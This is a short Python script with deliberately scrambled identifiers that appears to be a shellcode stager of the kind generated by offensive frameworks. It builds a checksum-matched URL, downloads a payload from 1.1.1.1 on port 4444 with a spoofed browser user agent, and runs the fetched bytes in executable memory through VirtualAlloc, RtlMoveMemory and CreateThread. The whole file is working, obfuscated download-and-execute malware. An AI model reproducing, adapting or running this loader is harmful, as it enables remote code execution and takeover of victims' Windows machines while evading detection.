import urllib.request, string, random, ctypes as FhPlYQZWSerri def QftkWVyCTwWsKk(s): return sum([ord(ch) for ch in s]) % 0x100 def HpzTaUqBgdPRI(): for x in range(64): gZaXWoktDPfo = ''.join(random.sample(string.ascii_letters + string.digits,3)) uMWLRNHR = ''.join(sorted(list(string.ascii_letters+string.digits), key=lambda *args: random.random())) for cDBAIn in uMWLRNHR: if QftkWVyCTwWsKk(gZaXWoktDPfo + cDBAIn) == 92: return gZaXWoktDPfo + cDBAIn def xPDwqtuWASEgKQE(NrtskxIKnhf, VgkWmnfSPYbaCn): UoqulLZcMnVu = urllib.request.ProxyHandler({}) hCmoizWkk = urllib.request.build_opener(UoqulLZcMnVu) urllib.request.install_opener(hCmoizWkk) FZNeqHeLZ = urllib.request.Request("http://" + NrtskxIKnhf + ":" + str(VgkWmnfSPYbaCn) + "/" + HpzTaUqBgdPRI(), None, {'User-Agent' : 'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)'}) try: hFgsPLp = urllib.request.urlopen(FZNeqHeLZ) try: if int(hFgsPLp.info()["Content-Length"]) > 100000: return hFgsPLp.read() else: return '' except: return hFgsPLp.read() except urllib.request.URLError: return '' def vnMPVNIDOPkoPRN(imCaZWgphPmEM): if imCaZWgphPmEM != "": rbIxRyrPTLSSSSO = bytearray(imCaZWgphPmEM) ppuQjZx = FhPlYQZWSerri.windll.kernel32.VirtualAlloc(FhPlYQZWSerri.c_int(0),FhPlYQZWSerri.c_int(len(rbIxRyrPTLSSSSO)), FhPlYQZWSerri.c_int(0x3000),FhPlYQZWSerri.c_int(0x40)) MhEqnjODP = (FhPlYQZWSerri.c_char * len(rbIxRyrPTLSSSSO)).from_buffer(rbIxRyrPTLSSSSO) FhPlYQZWSerri.windll.kernel32.RtlMoveMemory(FhPlYQZWSerri.c_int(ppuQjZx),MhEqnjODP, FhPlYQZWSerri.c_int(len(rbIxRyrPTLSSSSO))) IvdjdivTL = FhPlYQZWSerri.windll.kernel32.CreateThread(FhPlYQZWSerri.c_int(0),FhPlYQZWSerri.c_int(0),FhPlYQZWSerri.c_int(ppuQjZx),FhPlYQZWSerri.c_int(0),FhPlYQZWSerri.c_int(0),FhPlYQZWSerri.pointer(FhPlYQZWSerri.c_int(0))) FhPlYQZWSerri.windll.kernel32.WaitForSingleObject(FhPlYQZWSerri.c_int(IvdjdivTL),FhPlYQZWSerri.c_int(-1)) koqZgKDePcarIw = '' koqZgKDePcarIw = xPDwqtuWASEgKQE("1.1.1.1", 4444) vnMPVNIDOPkoPRN(koqZgKDePcarIw)